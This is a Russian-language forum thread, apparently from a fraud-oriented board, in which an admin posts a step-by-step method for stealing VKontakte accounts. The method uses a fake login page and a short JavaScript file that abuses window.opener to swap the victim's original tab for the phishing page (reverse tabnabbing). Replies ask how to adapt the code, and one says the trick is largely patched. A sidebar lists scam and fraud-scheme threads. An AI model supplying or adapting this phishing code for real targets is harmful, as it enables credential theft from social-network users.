Схема по которой работают "взломщики" ВК

Admin

Admin

Администратор
Новое Тема слита, так что о 100% работе говорить не буду!
Не давно на форуме увидел пару человек , которые предоставляют услуги по взлому аккаунтов в социальной сети ВКонтакте.

Было решено провести тест , и не пожалев денег заказал услугу по взлому собственной страницы.

Человек добавил меня , и скинул ссылку якобы на мою фотографию (домен был не бесплатный) , я перешёл и увидел что родительская вкладка была заменена на фейковую , и после чего мне выдало окно авторизации ВКонтакте.

Здесь все становиться ясно , и ниже я если можно так сказать "солью" способ взлома.


1. Регистрируем любой хостинг аккаунт (можно и с бесплатным доменом).
2. Далее закидаем фейковую страницу в корень , и после чего создаем файл window.htm (можете использовать любое название).
3. Открываем наш только созданный файл через редактор , и пишем следующий код:
Код: 
<html>
<head>
<title></title>
</head>
<body>
<script language="JavaScript">
  if(parent.window.opener) parent.window.opener.location.replace("http://site.in"); // Ссылка на фейк.
  document.location.href = "http://site.in"; // Ссылка для отводки глаз жертвы.
</script>
</body>
</html>
Готово ! По данному принципу работает множество "взломщиков". Пользуемся
 
Little_Prince

Little_Prince

VIP
Если моя фейка страница размещена в корне моего сайта (localhost) ,т.е при открытии localhost открывает сразу нее,то код будет иметь подобный вид ?
Код: 
<html>
<head>
<title></title>
</head>
<body>
<script language="JavaScript">
  if(parent.window.opener) parent.window.opener.location.replace("http://localhost/"); // Ссылка на фейк.
  document.location.href = "https://vk.com/feed"; // Ссылка для отводки глаз жертвы.
</script>
</body>
</html>

?
Что за "Ссылка для отводки глаз жертвы." ? Что то не могу разобраться,вроде сделал все как нужно,но результат получил не тот который "скорее всего" должен быть . Какой именно линк кидать жертве ? На этот файл "window.htm" ?

P.S #послеНовогоднийПротуп
 
E

evgenii999

Admin сказал(а):
Новое Тема слита, так что о 100% работе говорить не буду!
Не давно на форуме увидел пару человек , которые предоставляют услуги по взлому аккаунтов в социальной сети ВКонтакте.

Было решено провести тест , и не пожалев денег заказал услугу по взлому собственной страницы.

Человек добавил меня , и скинул ссылку якобы на мою фотографию (домен был не бесплатный) , я перешёл и увидел что родительская вкладка была заменена на фейковую , и после чего мне выдало окно авторизации ВКонтакте.

Здесь все становиться ясно , и ниже я если можно так сказать "солью" способ взлома.


1. Регистрируем любой хостинг аккаунт (можно и с бесплатным доменом).
2. Далее закидаем фейковую страницу в корень , и после чего создаем файл window.htm (можете использовать любое название).
3. Открываем наш только созданный файл через редактор , и пишем следующий код:
Код: 
<html>
<head>
<title></title>
</head>
<body>
<script language="JavaScript">
  if(parent.window.opener) parent.window.opener.location.replace("http://site.in"); // Ссылка на фейк.
  document.location.href = "http://site.in"; // Ссылка для отводки глаз жертвы.
</script>
</body>
</html>
Готово ! По данному принципу работает множество "взломщиков". Пользуемся
Нажмите, чтобы раскрыть...

Добрый вечер! У меня есть вопрос по данной теме. Смысл же в том, что ссылка "для отвода глаз" должна вести же на фейк как я понял, вы пробовали этот метод? а
 
P

pw0ned

evgenii999 сказал(а):
Добрый вечер! У меня есть вопрос по данной теме. Смысл же в том, что ссылка "для отвода глаз" должна вести же на фейк как я понял, вы пробовали этот метод? а
Нажмите, чтобы раскрыть...

window.opener не работает в браузерах, и уже давно.
Как вариант если на сайте присутствует target="_blank" vulnerability, тогда без проблем, но в ВК это пофикшено пару месяцев назад.

Если кому интересно, вот наглядный пример использования уязвимости в сервисе Web.Skype https://twitter.com/pw0ned/status/773980707991523332
 
Для ответа нужно войти/зарегистрироваться
Похожие темы
Support81 Вам тоже написал «диспетчер РСО»? Не переходите по ссылке. Это новая схема мошенников без СМС-кодов Новости в сети 0
L Приватная схема по Ютубу. Дейтинг. УБТ трафик Способы заработка 0
st.ap Схема по заработку на конвертации трафика из ютуба на кинопартнёрку. Способы заработка 1
Denik Схема по добыче Паспортов, Сканов Раздачи и сливы 1
E Онлайн схема по Баду | Светло-серая Способы заработка 0
W Авторская схема по заработку на партнерке Shakes Mobi (слив) 2020 Полезные статьи 1
A Схема заработка на магазине киви аккаунтов. Способ поднять денег по быстрому в 2020 году Способы заработка 2
АнАлЬнАя ЧуПаКаБрА Схема по фроду партнерок Раздачи и сливы 0
M Схема по продаже статей Способы заработка 0
G Белая схема по заработку на Телефонах Способы заработка 4
U Схема по раскрутке каналов в inst, youtube, tg... Способы заработка 4
Traven Схема по ВК [копипаст] Способы заработка 2
S Серая схема. "Помощь по кредитам" Способы заработка 1
P Авторская схема по разводу школьников! Полезные статьи 11
S Схема по заливу трафика на партнёрки с помощью инвайтинга VK Способы заработка 0
K Схема по восстановлению чужой сим карты , только МТС и Билайн . Способы заработка 0
turbion0 Новая мошенническая схема с предложением работы Новости в сети 0
Support81 ВТБ: схема с NFC-клоном теперь не оставляет цифровых следов Новости в сети 0
Support81 Заложи друга – заработай $600000: новая схема заработка в Instagram Новости в сети 0
Support81 Жертвы жадности: как работает новая схема кражи криптовалют на YouTube Новости в сети 0
Support81 Схема «Мамонт»: 4500 мошенников охотятся на арендодателей Новости в сети 0
turbion0 Новая мошенническая схема, нацеленная на индивидуальных предпринимателей и тех, кто использует режим «Налог на профессиональный доход» Новости в сети 0
Support81 Оплата за лайки: раскрыта мошенническая схема заработка на YouTube Новости в сети 0
M Схема заработка на онлайн рулетке Способы заработка 5
prizrak11 Интересно ГОТОВАЯ СХЕМА ТРАФИКА НА PPI-ФАЙЛООБМЕННИК ПРОФИТ $672 Способы заработка 0
T Схема Делаем 90.000₽ на многоходовочке Способы заработка 0
P Ищю человека на онлайн, черно-серая схема. 400$ в день. Предоставляю работу. Ищу специалиста. 0
U Чернючая схема заработка DARKNET + DРАGS Способы заработка 1
W Схема "БЕСКОНЕЧНОСТЬ" Автодоход до 130 000 руб. в месяц (2021) Способы заработка 3
V Схема заработка на SMM партнерках Способы заработка 2
J Схема заработка от 5$ в день на своем аккаунте инстаграм Способы заработка 6
B Простая схема как получить 133$ на рекламу в Google Ads (Adwords) Раздачи и сливы 1
X Белая схема стабильного дохода на партнерской программе букмекера Ищу работу. Предлагаю свои услуги. 11
Ltybcrf Интересно [Белая схема] легкие деньги на МТС [от 200 рублей за 10 минут] Способы заработка 2
Denik Интересно Белая схема заработка для новичков (От 30 000 рублей в месяц) Способы заработка 3
K Интересно [HideWork] Схема от 750р в день + пруфы вывода! (2020) Способы заработка 3
Denik Белая схема заработка от 5000 рублей в неделю Способы заработка 1
Denik Схема заработка Способы заработка 5
K Схема заработку от 40-80+$ в сутки, дейтинг трафик Способы заработка 1
D Схема заработка от 45к до 210к руб./мес. на приёме платежей(электронные кошельки) Предоставляю работу. Ищу специалиста. 0
E Схема на мамонта в VK Способы заработка 2
A Схема заработка на хайпе Способы заработка 0
Ltybcrf [Белая схема] легкие деньги на МТС [от 200 рублей за 10 минут] Раздачи и сливы 3
A [Слив] Схема продается в MarketPlace за 4.300 рублей Способы заработка 0
A [Слив] От 700 рублей уже сегодня!!! Схема продается за 3900 рублей! Сливаю БЕСПЛАТНО! Программирование 0
A Рабочая схема заработка на бирже криптовалют Программирование 0
A Схема заработка на плюшевых игрушках! Реальные 60.000 в месяц! Программирование 0
B Схема извлечения трафика из Ютюба с конвертацией на кинопартнерке. Программирование 0
M Серая схема заработка на анаболических стероидах Способы заработка 1
E Схема на инсталлы с пуш сетки +ENG Android+Desktop Трафик: загрузки, инсталы, ads 0

Название темы